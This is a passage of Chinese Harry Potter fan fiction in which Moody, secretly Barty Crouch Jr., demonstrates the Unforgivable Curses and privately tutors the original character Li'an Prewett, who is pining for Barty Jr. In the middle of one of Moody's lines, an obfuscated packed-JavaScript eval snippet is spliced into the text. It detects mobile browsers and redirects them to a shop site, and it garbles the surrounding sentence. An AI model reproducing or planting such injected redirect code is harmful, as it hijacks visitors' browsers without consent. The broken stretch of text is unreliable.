穆迪似乎对大家的冷淡反应无动于衷,他没有理睬面前的一大罐南瓜汁,而是把手伸进了他的斗篷里,掏出一只弧形酒瓶,喝了一大口,当他抬起手臂时,他拖在地上的斗篷被拽起了几寸,桌子底下露出木雕的假腿,下面是一只爪子形的脚。 邓布利多清了清喉咙。 “正如我刚才说的,”他笑眯眯的望着面前众多的学生,说道,“在接下来的几个月里,我们将十分荣幸地主办一项非常精彩的活动,这项活动已有一个多世纪没有举办了,我十分愉快的告诉大家,三强争霸赛将于今年在霍格沃茨举行。” “你在开玩笑!”弗雷德大声说。 自从穆迪进门后就一直笼罩着礼堂的紧张气氛一下子被打破了,几乎每个人都笑出了声,邓布利多也赞赏的轻轻笑了起来。 “我没有开玩笑,韦斯莱先生,”他说,“三强争霸赛…你们中间有些人还不知道这场争霸赛到底是怎么回事,所以我希望那些了解情况的人能原谅我在此稍微解释一下,我允许他们的思想开一会儿小差。” “三强争霸赛大约是七百多年前创立的,是欧洲三所最大的魔法学校之间的一种友谊竞争,这三所学校是:霍格沃茨、布斯巴顿和德姆斯特朗,每个学校选出一名勇士,然后三名勇士比试三种魔法项目,三强争霸赛每五年举行一次,三个学校轮流主办,大家一致认为,这是不同国家之间年轻巫师们建立友谊的绝好方式——可是后来,死亡人数实在太多,三强争霸赛就中断了。” “几个世纪以来,人们几次尝试恢复争霸赛,”邓布利多继续说道,“但没有一次是成功的,不过,我们魔法部的国际魔法合作司和魔法体育司认为,再做一次尝试的时机已经成熟,这个夏天我们做了许多工作,以确保每一位勇士都不会遭遇生命危险。” “十月份,布斯巴顿和德姆斯特朗的校长将率领他们的竞争者前来,挑选勇士的仪式将于万圣节举行,一位公正的裁判将决定哪些学生最有资格参加比赛,为自己的学校赢得荣誉,个人还能获得一千加隆的奖金。” “我要参加!”弗雷德想到有可能获得这样的荣誉和财富,他兴奋得满脸放光,像他这样幻想成为霍格沃茨勇士的人不止一个,所有人都在热烈的窃窃私语,可是邓布利多又说话了,礼堂里再次安静下来。 “我知道你们都渴望为霍格沃茨赢得三强争霸赛的奖杯,”他说,“但是,参赛学校和魔法部一致认为,要对今年的竞争者规定一个年龄界限。只有年满十七岁以上的学生才允许报名,以备考虑。” “这是狗屎!”韦斯莱双子愤怒的抗议。 “这一措施是很有必要的,因为争霸赛的项目仍然很艰巨、很危险,不管我们采取多少预防措施,六七年级以下的学生是根本不可能对付得了的,我本人将保证没有一个不够年龄的学生能蒙骗我们公正的裁判,成为霍格沃茨的勇士,”邓布利多的目光掠过韦斯莱双子叛逆的面孔时,蓝眼睛里闪着意味深长的光芒,“因此,如果你不满十七岁,我建议你不要浪费时间提出申请。” “布斯巴顿和德姆斯特朗的代表团将于十月份到达,并和我们共同度过这一学年的大部分时光,好了,现在时间已经不早,让你们明天早晨精神抖擞、头脑清醒的走进课堂非常重要,去上床睡觉吧!赶快!” 邓布利多坐了下来,转脸跟穆迪谈话,餐厅里咔嚓咔嚓、乒乒乓乓响成一片,学生们纷纷站起来,涌向两道对开的门,进入了门厅。 “他们不能这样做!”乔治气呼呼的瞪着邓布利多,说道,“我们明年四月就满十七岁了,为什么不让我们试一试?” “他们不能阻止我参加,”弗雷德倔强的说,也生气的瞪着教师席,“当了勇士,就能做许多平常不让做的事情,而且还有一千加隆的奖金呢!” “是啊,”罗恩说,脸上露出恍惚的神情,“是啊,一千加隆呢…” “你们到底是喜欢加隆还是想成为勇士呢?”莉安打趣两个表弟。 “这不冲突。”乔治说。 “莉安,你的年纪够了,要参加比赛吗?”弗雷德问。 “应该会参加吧…但是只有一名勇士,”莉安停顿了片刻,平静的说,“听说赫奇帕奇那个迪戈里很厉害。” “但你可是格兰芬多啊!给他点颜色看看!” 他们踏上大理石阶梯,往休息室走去,一路上弗雷德和乔治还在不停的争论,邓布利多会采取什么办法阻止那些不满十七岁的学生参加争霸赛。 “评判谁是勇士的那个公正裁判员会是谁?”哈利问。 “不知道,”弗雷德说,“我认为一两滴增龄剂就管用了,乔治…” “可是邓布利多知道你们不够年龄。”罗恩说。 “是啊,不过谁当勇士并不由他决定,对吗?”弗雷德机灵的说,“在我听来,似乎这位裁判员只要知道谁想参加,就从每个学校挑出一个最优秀的,他才不管他们多大年龄呢,邓布利多是想阻止我们报名。” 他们来到上面格兰芬多塔楼的入口处,入口隐藏在一幅巨大的肖像画后面,画上有一位穿粉红色丝裙的胖夫人。 “口令?”他们走近时,胖夫人问道。 “胡言乱语,”乔治说,“楼下一个级长告诉我的。” 肖像画向前弹开,露出墙上的一个大洞,他们从这里爬了过去,圆形的公共休息室里摆满了桌子和软塌塌的扶手椅,炉火噼噼啪啪燃得正旺。 莉安爬上最后一道螺旋形楼梯,来到他们位于塔楼顶部的宿舍,她的四柱床贴墙立着,上面垂挂着深红色幔帐,箱子都已放在了床脚。 莉安换好睡裙,爬上床去,暖床用的长柄炭炉已经放在了被褥中间,躺在床上,听着风暴在外面肆虐,真是太舒服了。 但她又皱了皱眉,钻进被子的那一刻,她感觉到了睡衣和被子柔软的摩擦——她还在努力适应这种滑溜溜的触感,因为之前小巴蒂趁她不注意,把她的两件套睡衣全都扔掉了。 他信誓旦旦的说那就像她父亲留下来的男士睡衣,不等她发火,他就溜走了,但是那天晚上回来时,他又送了很多睡衣哄生气的她,她受不了他的恳求随手换上了一件,发现居然是性感漂亮的真丝吊带睡裙,而剩下的几件也都是如此,他说是去麻瓜界买的。 莉安把头蒙进被子里,一个食死徒有什么好想的?她心里唾弃了自己的魂不守舍,把那张肆无忌惮狂笑的面孔甩出脑海。 她知道自己很快就会好了,她是英雄普威特的女儿,以后也会如她父亲和叔叔那样成为优秀的傲罗,前程似锦,这一年在霍格沃茨,她会慢慢回归正轨,跟穆迪学习黑魔法防御术,彻底忘记小巴蒂,把他抛弃在原地。 以后,她再也不要和这个人扯上任何关系。 第二天中午,风暴停息了,不过礼堂的天花板上仍然一片愁云惨雾,莉安正在研究今年的课程表,期末有N.E.W.Ts考试,傲罗所需的五门课她必须拿到E以上的成绩,此时她头顶上空的天花板上正翻滚着大团大团青灰色的浓云。 弗雷德和李·乔丹在她旁边讨论用什么神奇法术使自己年龄变大,然后蒙混过关,参加三强争霸赛。 “看看这个!”乔治气愤的说,把不知道是谁的《预言家日报》重重的甩在桌子上。 莉安凑过去看,标题是:魔法部又出新乱子。 「看来魔法部的麻烦似乎还没有完,本报特约记者丽塔·斯基特这样写道,最近,魔法部因在魁地奇世界杯赛中未能有效维持秩序,以及仍未能对其一位女巫师官员的失踪作出解释,一直受到人们的批评,昨天,由于禁止滥用麻瓜物品司的阿诺德·韦斯莱的怪异行为,又使魔法部陷入新的尴尬境地。」 莉安皱眉,这记者怎么搞的,亚瑟的名字都写错了,她继续往下看。 「阿诺德·韦斯莱两年前被指控拥有一辆会飞的汽车,昨天又卷入一场与几位麻瓜执法者的争执中,起因是为了一大批极具进攻性的垃圾箱子,韦斯莱先生似乎是赶来援助疯眼汉穆迪的,此人曾是傲罗。 当疯眼汉穆迪再也不能区分普通握手和蓄意谋杀之间的差别时(指他性格变得多疑),他就从魔法部退休了,果然,当韦斯莱先生赶到穆迪先生重兵把守的住宅时,发现穆迪先生又是虚惊一场,误发了一个假警报,韦斯莱先生不得不将几个警察的记忆作了修改,才得以从他们那里脱身,但当《预言家日报》记者问他为何要使魔法部卷入这场毫无意义、而且可能十分棘手的事件时,韦斯莱先生拒绝回答。」 下面还配了一张照片,是韦斯莱夫妇站在陋居门口。 突然,礼堂外的门厅传来一阵吵闹声,有人在失声尖叫,莉安和双子连忙跑着去看热闹,只见穆迪教授一瘸一拐的走下大理石楼梯,他手里还拿着魔杖,直指一只在石板铺的地上瑟瑟发抖的白鼬。 门厅里一片可怕的寂静,除了穆迪教授,谁都不敢动弹,包括哈利三人组,这时穆迪教授转过头来。 “他伤着你了吗?”穆迪教授怒冲冲的问哈利,他的声音低沉、沙哑。 “没有,”哈利说,“没有击中。” “别碰它!”穆迪教授大喊一声。 只见克拉布正要去抱起白鼬,但吓得呆在原地不敢动了,穆迪教授一瘤一拐的朝克拉布、高尔和那只白鼬走去,白鼬惊恐的叫了一声,朝地下教室的方向跑去。 “我不信这个邪!”穆迪教授大吼一声,又把魔杖指向白鼬,白鼬忽地升到十英尺高的半空,啪的一声摔在地上,随即又忽地升了上去。 “我最看不惯在背后攻击别人的人,”他粗声粗气的说,白鼬跟随他的魔杖越蹦越高,痛苦的尖叫着,“这种做法最肮脏、卑鄙,是胆小鬼的行为…” “穆迪教授!”一个吃惊的声音喊道,麦格教授正从大理石楼梯上下来,怀里抱着一摞书。 “你好,麦格教授。”穆迪教授平静的说,一边使白鼬蹦得更高了。 “你、你在做什么?”麦格教授问道,她的目光顺着在半空蹦跳的白鼬移动。 “教训教训。”穆迪教授说。 “那是个学生吗?”麦格教授惊叫道,怀里的书散落到地上。 “准确的说,是只白鼬。”穆迪教授说。 “天哪!”麦格教授匆匆抽出自己的魔杖,片刻之后,随着噼啪一声巨响,白鼬变成了德拉科·马尔福,他缩成一团躺在石板地上,滑溜溜的淡黄色头发披散在他此刻红得耀眼的脸上。 过了一会儿,他才站了起来,一副哆哆嗦嗦的样子,浅色的眼睛因痛苦和耻辱而汪着泪水,边逃跑边怨恨的喊,“我会告诉我爸爸的!” “你在威胁我吗?”穆迪教授好像被激怒了,气冲冲的追了过去,“我知道你爸的事,告诉你爸,穆迪正在盯着他儿子!” “阿拉斯托,我们从不使用变形作为惩罚,”麦格教授拦住了他,有气无力的说,“邓布利多教授肯定告诉过你吧?” “他大概提到过吧,”穆迪教授漫不经心的敷衍了一下麦格教授,又对着马尔福的背影怒吼,“这事没完!” “穆迪!”弗雷德说,“他真酷啊,是吗?” “岂止是酷!”乔治惊叹道。 “太厉害了,穆迪可是我爸爸的上司!”莉安望着穆迪满是横七竖八伤痕的侧脸,着迷的说,“伤疤就是男人的勋章。” 穆迪教授仍然侧着头没有动作,但他的魔眼突然转向她,莉安有些紧张,但仍然努力露出一个微笑,这对平时性情冷淡的她来说,简直非常是不可思议的事。 两位教授突然小声交流了一下,麦格教授的目光突然朝他们几人看来,又对着莉安的方向点点头,似乎在给穆迪教授介绍,于是片刻后,穆迪教授一瘸一拐的过来了。 “普威特,好孩子,真没想到一转眼你都这么大了,”他粗声粗气的说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727473|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一趟我的办公室吧,麦格教授告诉我,你想跟我学点儿有用的东西。” “噢…是的!谢谢您!穆迪教授!”得偿所愿让莉安再也绷不住,对他露出一个心花怒放的笑容,这个笑容灿烂至极,热烈至极,把在场的人都看呆了。 “你说她对比尔这么笑过吗?”乔治小声问。 “不知道…”弗雷德喃喃的说。 莉安跟着穆迪来到他的办公室,等两人都进去后,穆迪把门关上,转身望着她,那只带魔法的眼睛和正常的眼睛同时都盯着她。 “要喝杯茶吗?孩子。”穆迪轻声的说。 “如果可以的话。”莉安完全没想到他的态度这么温和,忙不迭点头。 “坐下吧。”穆迪说完,一瘸一拐的给她倒了杯茶,莉安连忙接过,然后打量这间办公室。 不大的房间里放着一大堆稀奇古怪的玩艺儿,莉安猜这些都是穆迪当傲罗时用过的东西,但家具很简单,只在靠墙的角落里有一张可怜巴巴的单人硬板床,侧边的墙上是高高的窗户,而床对面有一张简朴的木头办公桌。 办公桌上有一只像是裂了缝的玻璃大陀螺般的东西,这是一个窥镜,而角落处放着一个古怪的东西,看上去有点像金色的天线,不过扭曲得特别厉害,不停的发出轻轻的嗡嗡声,她对面的墙上挂着一面类似镜子的东西,但照出的不是房间里的情景,里面有许多黑乎乎的人影晃来晃去,却都模模糊糊,看不真切。 “你喜欢我的黑魔法探测器,是吗?”穆迪一直在仔细的打量着她,几乎目不转睛。 莉安没有注意他的视线,指着那个扭曲的金色天线问道,“那是什么?” “探密器,探测到密谋和谎言时就会颤动…当然啦,在这里派不上用场,因为扰太多了——到处都有学生为自己没做家庭作业编造谎话,我搬进来以后,它就一直嗡嗡叫个不停,所以我也不得不把我的窥镜弄坏,因为它一刻不停的鸣笛尖叫,它太敏感了,方圆一英里之内的动静都能探测到,当然,它能探测的可不光是小孩子们的把戏。”穆迪没有移开视线,而是用粗哑的声音盯着她继续说道。 “那面镜子呢?” “噢,那是我的照妖镜,看见那些鬼鬼祟祟的人影了吗?我如果看清楚了他们的眼白,就真的遇到麻烦了,话说回来,普威特家族没有这些东西吗?” “没有。”莉安的目光又落在了窗户下面的那只大箱子上,那上面有七个排成一排的钥匙孔。 穆迪短促而嘶哑的笑了一声,莉安刚想问箱子是什么,忽然,穆迪的下一个话题又把她拉回到他身上来了。 “这么说…你打算做傲罗,像你的父亲一样,是吗?他曾经在我手下…非常英勇,和他的弟弟,就算遭遇了食死徒的围攻,也英勇的与他们搏斗…虽然牺牲了,但是…我不得不承认他们是我最好的学生…” 莉安悲哀的看着他,她知道想成为傲罗,都要经历为期三年的特训,只有所有考试成功过关才能成为傲罗,穆迪的确是她父亲和叔叔的直属上司——傲罗指挥部主任,所有的傲罗都要经历他的亲自培训才行,而普威特兄弟参加了大大小小的战役,最后被食死徒杀死,但是黑魔头销声匿迹后,他们被人淡忘了,就像学校里没几个人知道纳威的父母——隆巴顿夫妇的贡献和他们悲惨的下场,只是经常嘲笑纳威的烂记性和糟糕的魔药成绩。 穆迪是第一个愿意跟她说这些贴心话的人,他在她面前夸赞她的父亲,让她十分感动,麦格教授尽管很关心她,但麦格教授太过严肃,很少对她流露出这种熟悉的长辈对孩子的真情实感,更不会提起她父亲的经历,这让她非常难过。 穆迪递给她一方手帕,莉安这才发现自己眼眶湿润了,她万万没想到,一向严肃的穆迪居然会安慰她。 “我是不是不该提起他们?但是没必要难过,孩子,”穆迪坐了下来,伸直那条木腿,“我很高兴看到你和吉迪恩一样英勇无畏,我会教你许多决斗技巧和黑魔法防御术。” “可是我看了课表,您有很多课,”莉安擦干了眼泪,表情又变得平静了,“我很怕给您添麻烦,对不起——我是偶然发现的,不是故意查您的日程安排。” 穆迪咧开嘴笑了,“没关系,孩子,我每天晚餐后都有时间,不得不说,我也是格兰芬多,我想,对于我们这些人来说,恐怕夜游并不是什么大问题吧?” 莉安愣愣的看着穆迪,只觉得他真的又酷又有趣!梅林!一个教授怂恿她夜游!想想还挺刺激的! 穆迪又发出一声嘶哑的干笑,那只带魔法的眼睛滴溜溜的转得飞快,等着她回答。 “我以前几乎没有夜游过…”莉安轻声说,“但是我想,最后一年或许我会尝试一下。” “新奇的体验,”穆迪点点头,“做学生的,哪有不触犯校规的呢?我听麦格说,你魁地奇也打得很好,格兰芬多每年的学院杯恐怕少不了你的贡献,倒也不用害怕扣分。” 莉安一时不知道要说什么,倒是穆迪看了她一会儿,生硬的转移了话题。 “你应该知道,做傲罗呢,身体素质很重要,”穆迪生硬的说,“我只想给你一些善意的、泛泛的忠告,第一条是——你应该吃点东西。” “我不想吃。”莉安脱口而出,但她想到吃不下饭的原因,想收回又来不及了。 “对不起,我不同意,”穆迪瞪着她,粗声粗气的说,“我说你该吃饭,你就该吃饭,不过我很好奇,孩子,你为什么不吃东西?我记得早上你也没吃——当然,礼堂的任何动静都瞒不过我的眼睛。” 莉安不知道怎么说话,直到穆迪从口袋里掏出一盒曲奇饼干给她。 “您也喜欢这个?”莉安诧异极了,“这是我最喜欢的牌子,Fortnum&Mason的曲奇。” “或许你知道,傲罗经常要去麻瓜界抓捕那些逃犯,”穆迪干巴巴的说,“风餐露宿的,有时候就会喜欢用这些小玩意儿充饥。” 莉安撕开包装,拿了一块曲奇放进嘴里,但她的视线又模糊了。 “这就对了,”穆迪死死盯着她,那只带魔法的眼睛几乎一动不动,“现在可以说了吗?为什么不吃饭,据我所知,以前你可没有这么瘦,麦格很担心你的身体。” “可是…”莉安望着他,不知道能不能在他面前大哭一场,这可真够丢脸的。 “我不能说,我…” “我给你的第二条泛泛的忠告是,”穆迪打断了她,大声的说,“如果想做傲罗,你必须解决一些杂念,这跟你的目标并不冲突,你的年纪也到了,抱歉,我不想打探你的私事,但如果你真的陷入感情的困境,我建议你好好思考一下,你内心到底想要什么,而你必须像你父亲一样无畏,这样才能得到你想要的东西。” 莉安茫然的看着他。 她想要什么呢?是和比尔在一起,跟姑妈彻底切断联系,还是为一个闯进她的房子,也闯进她心里的坏人而沉沦,彻底的沉沦呢? “好好想想,孩子…”穆迪小声说,“直面你的内心,其实你想要的东西并没有那么难…你的纠结已经反射了你的内心…” 突然,小巴蒂那张漫不经心的面孔跳进她的脑海里,他肆意的笑着,牙齿并拢,眼睛睁大,看起来像个刚从圣芒戈五楼封闭病房逃出来的的神经病,又像个被阿兹卡班的摄魂怪吸干了所有理智的疯子。 “好女孩儿…等叔叔回来…记得开着灯…” 那晚她在半梦半醒中,听到了他留给她的最后一句话。 她睡不着。 她很生气。 她很不开心。 他应该给她送一封信,不是吗?他怎么会不知道她一直在等待呢?他是那种凭直觉就能做到这一点的人——他知道她在等待。 但是这很糟糕:如果他只是想让她等待呢? 或者更糟:如果他甚至没有想她呢? 然后灯一直亮着。 8. 守护 周五这天,来上黑魔法防御术提高班的同学并不多,但莉安很兴奋,上课铃还没有响她就早早的来到穆迪的教室里,急急忙忙的坐到讲台正前方的位置上,拿出《标准咒语:七级》等待着。 因为人少,气氛格外肃静,很快,她就听见穆迪那很有特色的噔噔脚步声顺着走廊过来了。 “把这些东西收起来,”他粗声粗气的说,拄着拐杖艰难的走到讲台边坐了下来,“这些课本你们用不着。” 莉安双眼放光的盯着穆迪,知道他就要讲标准的黑魔法防御术了,而不是什么抵抗黑魔法生物的咒语。 穆迪拿出花名册,他那只正常的眼睛顺着名单往下移动,而那只带魔法的眼睛不停的转来转去,盯着每一学生。 “好了,”当点名结束后,他说,“我收到卢平教授的一封信,介绍了这门课的情况,对于如何对付黑魔法生物,你们已经掌握了不少基础知识——你们学会了对付博格特、红帽子、欣克庞克、格林迪洛、卡巴和狼人,对吗?” 同学们低声表示赞同。 “可是在如何对付咒语方面,你们还学得很不够,”穆迪说,“因此,我准备让你们领略一下巫师们之间的法术,我有一年的时间教你们如何对付黑魔法。” 穆迪看到同学们震惊的目光,露出笑容,那布满伤疤的脸就显得更扭曲更怪异了,他拍了拍粗糙的大手,继续讲话。 “咒语有许多种形态,其魔力各不相同,根据魔法部的规定,我应该教你们各种破解咒,不应该告诉你们非法的黑魔咒语是什么样子,但在我看来,你们越早了解要对付的东西越有好处,如果你从未见过它,你又怎么在它面前保护自己呢?如果某巫师要对你使用非法咒语,他是不会把他的打算告诉你的,他不会坦率、公道、礼貌的给你念咒,你必须做好准备,提高警惕。” “那么…你们有谁知道,哪些咒语会受到巫师法最严厉的惩罚呢?” 莉安举起了手,热切的看着他,穆迪对她点点头,目光很是欣赏。 “我知道夺魂咒。” “啊,是的,”穆迪赞赏的说,“想当年,夺魂咒给魔法部惹了不少麻烦。” 穆迪艰难的站起来,打开讲台的抽屉,拿出一个玻璃瓶,三只大黑蜘蛛在里面爬个不停,他把手伸进瓶子,抓起一只蜘蛛,放在摊开的手掌上,让大家都能看见,然后用魔杖指着它,喃喃的念道,“Imperio! ” 蜘蛛僵硬的伸直了腿,摔在桌上,开始绕着圈子翻跟头,穆迪一抖魔杖,它又支着两条后腿站了起来,跳起了一种踢踏舞。 大家都笑了起来,只有穆迪没笑。 “你们觉得这很好玩,是吗?”他粗着嗓子问,“如果我对你们来这一下,你们会喜欢吗?” 笑声立刻就消失了。 “完全受我控制,”穆迪说,这时蜘蛛开始不停的滚来滚去,“我可以让它从窗口跳出去,或把自己淹死…” “多年以前,许多巫师都宣称被夺魂咒控制住了,”穆迪说,“真把魔法部忙坏了,那时候,他们要分清谁是被迫行事,谁是按自己的意愿行事。” “夺魂咒可以被抵御,我会把方法教给你们,但是这需要很强的人格力量,不是每个人都能掌握的,你们最好尽量避免被它击中。” 穆迪神色冰冷了一瞬,抓起翻跟头的蜘蛛扔回玻璃瓶里。 “还有谁知道什么咒语吗?非法咒语?” 莉安又把手高高的举了起来,其他同学见怪不怪,毕竟大家都知道她的志向是成为傲罗,曾经有人想欺负这个父母双亡的孤女,或者占占便宜——毕竟偌大的普威特家族和法国的勒洛伊家族只有这一个女继承人了,吃绝户谁还不会?但莉安很快就教会了他们怎么做人。 “说吧。”穆迪那只带魔法的眼睛骨碌碌一转,继续点莉安。 “钻心咒。”莉安声音很轻的说。 穆迪点头,从玻璃瓶里掏出第二只蜘蛛,放在讲台上。 “没错,就是钻心咒,”穆迪用魔杖一指蜘蛛,“Enio! ” 蜘蛛变大了,穆迪又举起魔杖,指着蜘蛛,轻轻的说,“Crucio. ” 蜘蛛的腿全部缩了起来,紧贴着身子,身体剧烈的抽搐起来,它没有发出声音——蜘蛛没有发声器官,如果它有,肯定会拼命尖叫。 穆迪看了看同学们恐惧的表情,过了一会儿才拿开魔杖,蜘蛛已经奄奄一息了,它的腿松弛下来,但仍在抽搐。 “Reducio. ”穆迪喃喃的说,蜘蛛缩回到原来的大小,穆迪把它重新放进瓶里。 “极度痛苦,”穆迪轻声说,“这个咒语一度也非常流行。” “好了…还有谁知道什么咒语吗?” 莉安第三次把手举起,但她的手抖个不停,神情痛苦。 “说吧,”穆迪望着她,鼓励的说,“别害怕,孩子。” 莉安闭了闭眼,语调颤抖的说,“索命咒。” 所有同学都不安的扭头看着她,穆迪歪斜的嘴抽动着,露出一丝微笑,“是的,这是最后一个、也是最厉害的一个咒语,索命咒…也叫杀戮咒、死咒。” 他把手伸进玻璃瓶,抓住第三只蜘蛛,放在讲台上,然后举起魔杖。 莉安紧紧的闭着眼睛,但她的眼皮很薄,眼珠不停的乱转,她知道自己根本躲不开那道可怕的光芒。 “Avada Kedavra. ”穆迪平静的说。 一道耀眼的绿光刺得她眼皮生疼,射穿她的眼皮进入她的视线,同时还有一阵杂乱的脚步声和大笑声,以及一个女人的尖叫,等她睁开眼睛时,那蜘蛛翻了过来,仰面躺在桌上,身上并无半点伤痕,但已经死了。 几个学生使劲忍住想要发出的喊叫,而穆迪淡定的把死蜘蛛从桌上扫到地板上。 “很不美好,”他平静的说,“令人很不愉快,而且没有破解咒,只能用物理掩体躲避,如墙壁,盾牌之类,所以可以使用变形咒召唤出盾牌,就可以勉强挡住索命咒,当然——视坚固程度而定。” 穆迪的两只眼睛注视着莉安,她的蓝眼睛里充斥着泪水,她知道,母亲就是这样死去的,和那只蜘蛛一模一样,没有一点痕迹,没有一点创伤,她只记得一声尖叫,一道绿光,母亲的身体就变冷了。 那天母亲带着她从法国回来看望父亲,但父亲还没有从凤凰社回来时,他们就遭到了被父亲捉进阿兹卡班的食死徒家属的报复,母亲只来得及把她塞进柜子里,然后他们朝她的母亲逼近…来不及拿起魔杖的母亲… 穆迪又在说话了,莉安觉得他的声音来自一个很远很远的地方。 “钻心咒和索命咒需要很强大的魔法力量作为基础,并且要有强烈的施虐和杀戮的意念——正当的愤怒是不行的,你们可以把魔杖拿出来对准我,念出这句咒语,但我最多只会流点鼻血。” “那么,我为什么要向你们展示这些呢?因为你们必须充分意识到什么是最糟糕的,我知道来上提高班的人恐怕都有远大的理想,甚至打算去一线战场和黑巫师对抗,你们不希望自己遇到你们现在面对的局面却无能为力吧,还是那句话,随时保持警惕!” “好了…这三个咒语——索命咒、夺魂咒、钻心咒,都被称为不可饶恕咒,把其中任何一个咒语用在人类身上,都足够在阿兹卡班获得一个永久免费的房间——那滋味可不像你们家的床那样美妙,这就是我要教你们抵御的东西,你们需要时刻保持警惕,永远不能松懈,拿出羽毛笔,把这些记录下来…” 在这堂课剩下来的时间里,教室里静悄悄的,没有人敢说话,莉安低头不停垂泪,直到下课铃响起,穆迪宣布下课后,议论声顿时像决了口的洪水,汹涌而起。 大多数同学都用敬畏的口气谈论着那些咒语,莉安觉得这实在不是什么愉快的事,她坐在原地,擦了擦眼泪,但眼泪越来越多。 一阵噔噔噔的奇怪声音响起,停在莉安身边——穆迪正注视着她,当他开口说话时,他的声音仍然粗哑,却低沉柔和得多了。 “没关系,孩子,”他轻声说,“你到我办公室来一趟好吗?来吧…我们再去喝杯茶。” 莉安抖了抖,抬头看他,穆迪的蓝眼睛正在眼窝里微微颤动着,凝视着她。 “我知道这对你来说很残酷,可是你必须有所了解,好了…走吧,莉安,我那儿的东西你一定会感兴趣的。” 莉安起身,穆迪把一只粗糙的大手放在她肩膀上,两人出了教室。 再次来到黑魔法防御术办公室,莉安已经熟门熟路,穆迪给她倒了杯茶,又拿出一些饼干和小甜品,这才呻吟一声,摘掉了假腿,坐到椅子上看着她。 “想到不好的事了?” “想到了我的母亲,”莉安踌躇了片刻,终究还是说出了口,“您应该知道,她也被杀死了。” “是啊,我知道,吉迪恩带你来见过我,”穆迪轻声的说,“也是因为那件事,我们一致决定让他把你藏起来,所以直到战争结束,都很少有人知道普威特家族还有一位小姐。” “但是还是被人发现了…” “没错,战争刚刚结束,所有人都松了一口气的时候,你的房子又被食死徒闯入了,”穆迪示意她吃点东西,继续说道,“不过让我庆幸的是,你终究没有受到伤害,不然…” “说到这里,你还记得那个食死徒的长相吗?”穆迪目不转睛的盯着她,柔声说,“别害怕孩子,我猜你应该知道,毕竟你甚至记得你母亲出事——很抱歉,我不是故意提起,但我对黑巫师深恶痛绝,尤其是那些食死徒。” 莉安不知所措的看着他,她的确很尊敬穆迪,但是她也不想出卖小巴蒂…也不知道为什么,最近小巴蒂的脸总是在她脑海里盘旋,她总会想到开学前那一个星期,从而想到他的唇、他的体温、他的气味儿、甚至他的声音,一直挥之不去… “我记得。”她说。 穆迪一瞬间显得很警觉,那只魔眼在他眼眶里转个不停,紧紧的盯着她,“那是谁?” “他已经得到了惩罚,”莉安慢慢的说,“我认为够了。” “但是孩子,我要给你第三条忠告,”穆迪继续盯着她,“做傲罗,心软是大忌,看看我脸上这些伤疤,它们都是那些黑巫师留下来的,你对他们心软,而他们并不会因为你的恻隐之心而对你手软。” 莉安凝视他片刻,终于还是摇了摇头,“但是我觉得够了,也不想再计较,毕竟他没有对我做什么。” 穆迪脸上突然露出一个古怪的笑容,他的五官都扭曲了,但一瞬之后,他又恢复了平静,仿佛刚才的一切都是幻觉。 “好孩子,虽然我不赞同,但你就像邓布利多那样仁慈,虽然…这听上去有些不可思议,但我知道,你的善良终有一日会得到回报。” 莉安突然握紧了拳头,神情也变得气愤,“回报?不,好人没好报!以后再见到他作恶,我会把他亲手送进阿兹卡班!” 穆迪的表情有些僵硬,但他很快掩饰了过去,穿好假腿,粗声粗气的说,“现在,拿出你的魔杖,我要教你抵御夺魂咒,以及一些决斗咒语,先发制人可是很重要的。” 莉安站起身,高举魔杖,摆出架势,但是穆迪一瘸一拐的来到了她身后,握住了她拿魔杖的手。 “应该是这样的…” 有那么一瞬间,莉安觉得,穆迪就像小巴蒂教导她时那样严肃、认真、可靠,她定了定神,投入了学习中。 离开穆迪的办公室后,莉安擦了擦脸上湿漉漉的汗水,在寂静的城堡里一直往上走,但是她被皮皮鬼阻挡了片刻,在五楼的走廊上,皮皮鬼想把一只大花瓶推到她身上,于是她用新学的咒语狠狠的收拾了他一顿。 她摩挲着口袋里那些穆迪给她的小零食,神情都柔和许多,最后来到位于西塔楼最顶层的猫头鹰棚屋。 棚屋是一个圆形的石头房间,非常阴冷,刮着穿堂风,因为这里的窗户上都没有安玻璃。 地板上到处都是稻草和猫头鹰粪便,以及猫头鹰吐出的老鼠和田鼠骨头,在直达塔楼最顶处的栖枝上,栖息着成百上千只猫头鹰,各个品种应有尽有。 它们几乎都在睡觉,不过时不时的,会有一只圆溜溜的琥珀色眼睛瞪视着她,莉安看见自己的猫头鹰栖息在一根栖枝上,便匆匆走过去,小心避开了洒满鸟粪的地面。 她把一封信绑在它腿上,又喂了一些猫头鹰粮给它。 “一定要拿到回信,好吗?”莉安说,抱着它走向墙上的一个洞口,抚摸着它的后背,“无论他有没有回来,闪闪都要回信。” 猫头鹰轻轻叫了几声,然后展开双翅,飞进了夜色之中。 这天下了草药课,莉安从温室回到城堡,但她来到门厅时就发现再也无法前进,因为一大群学生都挤在大理石楼梯脚下竖起的一则大启事周围。 【三强争霸赛】 「布斯巴顿和德姆斯特朗的代表将于10月30日星期五傍晚六时抵达,下午的课程将会提前半小时结束,届时请同学们把书包和课本送回宿舍,到城堡前面集合,迎接我们的客人,然后参加欢迎宴会。」 门厅里出现的这则启事,对城堡里的人产生了明显的影响,在接下来的一星期里,人们似乎都只谈论一个话题:三强争霸赛。 谣言在学生中间迅速传来传去,像传染性很强的细菌:谁会当上霍格沃茨的勇士,争霸赛又会有哪些项目,而布斯巴顿和德姆斯特朗的学生与他们有什么不同,与此同时,城堡正在进行彻底的打扫,几幅肮脏的肖像画被擦洗干净了,那些盔甲变得铮光瓦亮,活动的也时候不再嘎吱嘎吱响了。 穆迪加大了对莉安的培训强度,导致她再也没有时间胡思乱想,哪怕闪闪回信说小巴蒂再也没有回过普威特祖宅,她也只是失落了一瞬,就丢在了脑后。 10月30日那天早晨,礼堂在一夜之间被装饰一新,墙上挂着巨大的丝绸横幅,每一条代表着霍格沃茨的一个学院,在教师席后面,挂着一条大大的横幅,上面是霍格沃茨的纹章:狮、鹰、獾、蛇联在一起,环绕着一个大字母H。 